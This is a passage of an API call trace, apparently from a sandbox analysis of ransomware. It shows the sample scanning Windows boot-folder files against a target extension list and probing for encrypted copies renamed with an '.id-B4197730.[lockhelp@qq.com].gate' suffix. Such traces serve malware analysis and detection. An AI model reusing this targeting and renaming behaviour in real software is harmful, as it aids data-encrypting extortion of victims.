lstrlenW (lpString=".doc") returned 4 [0121.211] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0121.211] lstrlenW (lpString=".docx") returned 5 [0121.211] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0121.211] lstrlenW (lpString=".pdf") returned 4 [0121.211] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0121.211] lstrlenW (lpString=".xls") returned 4 [0121.211] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0121.212] lstrlenW (lpString=".xlsx") returned 5 [0121.212] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0121.212] lstrlenW (lpString=".ppt") returned 4 [0121.212] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0121.212] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.212] lstrlenW (lpString=".zip") returned 4 [0121.212] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0121.212] lstrlenW (lpString=".rar") returned 4 [0121.212] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0121.212] lstrlenW (lpString=".bz2") returned 4 [0121.212] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0121.212] lstrlenW (lpString=".7z") returned 3 [0121.212] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0121.212] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.212] lstrlenW (lpString=".dbf") returned 4 [0121.212] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0121.212] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.212] lstrlenW (lpString=".1cd") returned 4 [0121.212] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0121.212] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.212] lstrlenW (lpString=".jpg") returned 4 [0121.212] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0121.212] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.212] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.213] lstrlenW (lpString=".doc") returned 4 [0121.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0121.213] lstrlenW (lpString=".docx") returned 5 [0121.213] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0121.213] lstrlenW (lpString=".pdf") returned 4 [0121.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0121.213] lstrlenW (lpString=".xls") returned 4 [0121.213] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0121.213] lstrlenW (lpString=".xlsx") returned 5 [0121.213] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0121.213] lstrlenW (lpString=".ppt") returned 4 [0121.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0121.213] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.213] lstrlenW (lpString=".zip") returned 4 [0121.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0121.213] lstrlenW (lpString=".rar") returned 4 [0121.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0121.213] lstrlenW (lpString=".bz2") returned 4 [0121.213] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0121.213] lstrlenW (lpString=".7z") returned 3 [0121.213] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0121.213] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.213] lstrlenW (lpString=".dbf") returned 4 [0121.213] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0121.213] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.213] lstrlenW (lpString=".1cd") returned 4 [0121.214] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0121.214] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.214] lstrlenW (lpString=".jpg") returned 4 [0121.214] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0121.214] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0121.214] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0121.214] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.475] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=76632) returned 1 [0121.475] CloseHandle (hObject=0x368) returned 1 [0121.475] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0121.475] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.475] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.475] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.475] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.475] lstrlenW (lpString=".doc") returned 4 [0121.475] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.475] lstrlenW (lpString=".docx") returned 5 [0121.475] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.475] lstrlenW (lpString=".pdf") returned 4 [0121.475] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.475] lstrlenW (lpString=".xls") returned 4 [0121.475] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.475] lstrlenW (lpString=".xlsx") returned 5 [0121.476] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.476] lstrlenW (lpString=".ppt") returned 4 [0121.476] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.476] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.476] lstrlenW (lpString=".zip") returned 4 [0121.476] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.476] lstrlenW (lpString=".rar") returned 4 [0121.476] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.476] lstrlenW (lpString=".bz2") returned 4 [0121.476] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.476] lstrlenW (lpString=".7z") returned 3 [0121.476] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.476] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.476] lstrlenW (lpString=".dbf") returned 4 [0121.476] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.476] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.476] lstrlenW (lpString=".1cd") returned 4 [0121.476] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.476] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.476] lstrlenW (lpString=".jpg") returned 4 [0121.476] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.476] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.476] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.476] lstrlenW (lpString=".doc") returned 4 [0121.476] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.476] lstrlenW (lpString=".docx") returned 5 [0121.476] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.476] lstrlenW (lpString=".pdf") returned 4 [0121.476] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.476] lstrlenW (lpString=".xls") returned 4 [0121.477] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.477] lstrlenW (lpString=".xlsx") returned 5 [0121.477] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.477] lstrlenW (lpString=".ppt") returned 4 [0121.477] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.477] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.477] lstrlenW (lpString=".zip") returned 4 [0121.477] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.477] lstrlenW (lpString=".rar") returned 4 [0121.477] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.477] lstrlenW (lpString=".bz2") returned 4 [0121.477] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.477] lstrlenW (lpString=".7z") returned 3 [0121.477] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.477] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.477] lstrlenW (lpString=".dbf") returned 4 [0121.477] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.477] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.477] lstrlenW (lpString=".1cd") returned 4 [0121.477] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.477] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0121.477] lstrlenW (lpString=".jpg") returned 4 [0121.477] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.477] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0121.477] lstrlenW (lpString="memtest.exe.mui") returned 15 [0121.477] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.478] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=45472) returned 1 [0121.478] CloseHandle (hObject=0x368) returned 1 [0121.478] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0121.478] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.478] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.478] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.478] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.478] lstrlenW (lpString=".doc") returned 4 [0121.478] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.478] lstrlenW (lpString=".docx") returned 5 [0121.478] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.479] lstrlenW (lpString=".pdf") returned 4 [0121.479] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.479] lstrlenW (lpString=".xls") returned 4 [0121.479] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.479] lstrlenW (lpString=".xlsx") returned 5 [0121.479] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.479] lstrlenW (lpString=".ppt") returned 4 [0121.479] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.479] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.479] lstrlenW (lpString=".zip") returned 4 [0121.479] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.479] lstrlenW (lpString=".rar") returned 4 [0121.479] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.479] lstrlenW (lpString=".bz2") returned 4 [0121.479] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.479] lstrlenW (lpString=".7z") returned 3 [0121.479] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.479] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.479] lstrlenW (lpString=".dbf") returned 4 [0121.479] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.479] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.479] lstrlenW (lpString=".1cd") returned 4 [0121.479] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.479] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.479] lstrlenW (lpString=".jpg") returned 4 [0121.479] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.480] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.480] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.480] lstrlenW (lpString=".doc") returned 4 [0121.480] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.480] lstrlenW (lpString=".docx") returned 5 [0121.480] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.480] lstrlenW (lpString=".pdf") returned 4 [0121.480] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.480] lstrlenW (lpString=".xls") returned 4 [0121.480] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.480] lstrlenW (lpString=".xlsx") returned 5 [0121.480] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.480] lstrlenW (lpString=".ppt") returned 4 [0121.480] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.480] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.480] lstrlenW (lpString=".zip") returned 4 [0121.480] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.480] lstrlenW (lpString=".rar") returned 4 [0121.480] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.480] lstrlenW (lpString=".bz2") returned 4 [0121.480] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.480] lstrlenW (lpString=".7z") returned 3 [0121.480] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.480] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.480] lstrlenW (lpString=".dbf") returned 4 [0121.480] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.480] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.481] lstrlenW (lpString=".1cd") returned 4 [0121.481] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.481] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0121.481] lstrlenW (lpString=".jpg") returned 4 [0121.481] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.481] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0121.481] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0121.481] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.481] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=75616) returned 1 [0121.481] CloseHandle (hObject=0x368) returned 1 [0121.482] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0121.482] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.482] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.482] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.482] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.482] lstrlenW (lpString=".doc") returned 4 [0121.482] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.482] lstrlenW (lpString=".docx") returned 5 [0121.482] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.482] lstrlenW (lpString=".pdf") returned 4 [0121.482] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.482] lstrlenW (lpString=".xls") returned 4 [0121.482] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.482] lstrlenW (lpString=".xlsx") returned 5 [0121.482] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.482] lstrlenW (lpString=".ppt") returned 4 [0121.482] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.482] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.482] lstrlenW (lpString=".zip") returned 4 [0121.482] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.483] lstrlenW (lpString=".rar") returned 4 [0121.483] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.483] lstrlenW (lpString=".bz2") returned 4 [0121.483] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.483] lstrlenW (lpString=".7z") returned 3 [0121.483] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.483] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.483] lstrlenW (lpString=".dbf") returned 4 [0121.483] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.483] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.483] lstrlenW (lpString=".1cd") returned 4 [0121.483] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.483] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.483] lstrlenW (lpString=".jpg") returned 4 [0121.483] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.483] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.483] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.483] lstrlenW (lpString=".doc") returned 4 [0121.483] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.483] lstrlenW (lpString=".docx") returned 5 [0121.483] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.483] lstrlenW (lpString=".pdf") returned 4 [0121.483] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.483] lstrlenW (lpString=".xls") returned 4 [0121.483] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.484] lstrlenW (lpString=".xlsx") returned 5 [0121.484] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.484] lstrlenW (lpString=".ppt") returned 4 [0121.484] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.484] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.484] lstrlenW (lpString=".zip") returned 4 [0121.484] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.484] lstrlenW (lpString=".rar") returned 4 [0121.484] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.484] lstrlenW (lpString=".bz2") returned 4 [0121.484] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.484] lstrlenW (lpString=".7z") returned 3 [0121.484] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.484] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.484] lstrlenW (lpString=".dbf") returned 4 [0121.484] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.484] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.484] lstrlenW (lpString=".1cd") returned 4 [0121.484] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.484] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0121.484] lstrlenW (lpString=".jpg") returned 4 [0121.484] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.484] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0121.485] lstrlenW (lpString="memtest.exe.mui") returned 15 [0121.485] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.485] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=45472) returned 1 [0121.485] CloseHandle (hObject=0x368) returned 1 [0121.485] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0121.485] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.485] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.485] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.485] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.485] lstrlenW (lpString=".doc") returned 4 [0121.485] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.485] lstrlenW (lpString=".docx") returned 5 [0121.485] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.486] lstrlenW (lpString=".pdf") returned 4 [0121.486] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.486] lstrlenW (lpString=".xls") returned 4 [0121.486] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.486] lstrlenW (lpString=".xlsx") returned 5 [0121.486] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.486] lstrlenW (lpString=".ppt") returned 4 [0121.486] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.486] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.486] lstrlenW (lpString=".zip") returned 4 [0121.486] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.486] lstrlenW (lpString=".rar") returned 4 [0121.486] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.486] lstrlenW (lpString=".bz2") returned 4 [0121.486] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.486] lstrlenW (lpString=".7z") returned 3 [0121.486] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.486] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.486] lstrlenW (lpString=".dbf") returned 4 [0121.486] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.486] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.486] lstrlenW (lpString=".1cd") returned 4 [0121.486] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.486] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.486] lstrlenW (lpString=".jpg") returned 4 [0121.486] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.486] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.487] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.487] lstrlenW (lpString=".doc") returned 4 [0121.487] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.487] lstrlenW (lpString=".docx") returned 5 [0121.487] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.487] lstrlenW (lpString=".pdf") returned 4 [0121.487] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.487] lstrlenW (lpString=".xls") returned 4 [0121.487] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.487] lstrlenW (lpString=".xlsx") returned 5 [0121.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.487] lstrlenW (lpString=".ppt") returned 4 [0121.487] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.487] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.487] lstrlenW (lpString=".zip") returned 4 [0121.487] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.487] lstrlenW (lpString=".rar") returned 4 [0121.487] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.487] lstrlenW (lpString=".bz2") returned 4 [0121.487] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.487] lstrlenW (lpString=".7z") returned 3 [0121.487] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.487] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.487] lstrlenW (lpString=".dbf") returned 4 [0121.487] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.487] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.487] lstrlenW (lpString=".1cd") returned 4 [0121.487] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.487] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0121.488] lstrlenW (lpString=".jpg") returned 4 [0121.488] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.488] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0121.488] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0121.488] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.488] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=79200) returned 1 [0121.488] CloseHandle (hObject=0x368) returned 1 [0121.488] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0121.488] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.488] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.488] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.488] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.489] 